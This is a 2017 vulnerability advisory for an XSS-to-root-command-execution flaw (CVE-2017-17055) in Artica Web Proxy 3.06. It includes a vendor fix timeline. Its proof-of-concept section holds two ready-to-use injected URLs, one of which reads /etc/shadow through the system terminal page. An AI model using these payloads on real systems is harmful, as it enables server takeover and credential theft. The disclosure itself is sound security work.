Artica Web Proxy 3.06 - Remote Code Execution

[+] Credits: John Page (aka Hyp3rlinX)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/ARTICA-WEB-PROXY-v3.06-REMOTE-CODE-EXECUTION-CVE-2017-17055.txt
[+] ISR: ApparitionSec            
 


Vendor:
=======
www.articatech.com



Product:
=========
Artica Web Proxy v.3.06.112216 


Artica Tech offers a powerful but easy-to-use Enterprise-Class Web Security and Control solution,
usually the preserve of large companies. ARTICA PROXY Solutions have been developed over the past
10 years as an Open Source Project to help SMEs and public bodies protect both their organizations
and employees from risks posed by the Internet.



Vulnerability Type:
===================
Remote Code Execution 



CVE Reference:
==============
CVE-2017-17055



Security Issue:
================
Artica offers a web based command line emulator 'system.terminal.php' (shell), allowing authenticated users to execute OS commands as root. 
However, artica fails to sanitize the following HTTP request parameter $_GET["username-form-id"] used in 'freeradius.users.php'.

Therefore, authenticated users who click an attacker supplied link or visit a malicious webpage, can result in execution of attacker
supplied Javascript code. Which is then used to execute unauthorized Operating System Commands (RCE) on the affected Artica Web Proxy Server
abusing the system.terminal.php functionality. Result is attacker takeover of the artica server.



Exploit/POC:
=============
1) Steal artica Server "/etc/shadow" password file.

https://VICTIM-IP:9000/freeradius.users.php?username-form-id=%3C%2Fscript%3E%3Cscript%3Evar%20xhr=new%20XMLHttpRequest();xhr.onreadystatechange=function(){if(xhr.status==200){alert(xhr.responseText);}};xhr.open(%27POST%27,%27https://VICTIM-IP:9000/system.terminal.php%27,true);xhr.setRequestHeader(%27Content-type%27,%27application/x-www-form-urlencoded%27);xhr.send(%27cmdline=cat%20/etc/shadow%27);%3C%2Fscript%3E%3Cscript%3E

2) Write file 'PWN' to /tmp dir.

https://VICTIM-IP:9000/freeradius.users.php?username-form-id=%3C%2Fscript%3E%3Cscript%3Evar%20xhr=new%20XMLHttpRequest();xhr.onreadystatechange=function(){if(xhr.status==200){alert(xhr.responseText);}};xhr.open(%27POST%27,%27https://VICTIM-IP:9000/system.terminal.php%27,true);xhr.setRequestHeader(%27Content-type%27,%27application/x-www-form-urlencoded%27);xhr.send(%27cmdline=touch%20/tmp/PWN%27);%3C%2Fscript%3E%3Cscript%3E


Network Access:
===============
Remote




Severity:
=========
High



Disclosure Timeline:
=============================
Vendor Notification: November 28, 2017  
Vendor Confirms Vulnerability : November 28, 2017
Vendor Reply "Fixed in 3.06.112911 / ISO released" : November 29, 2017
December 1, 2017  : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx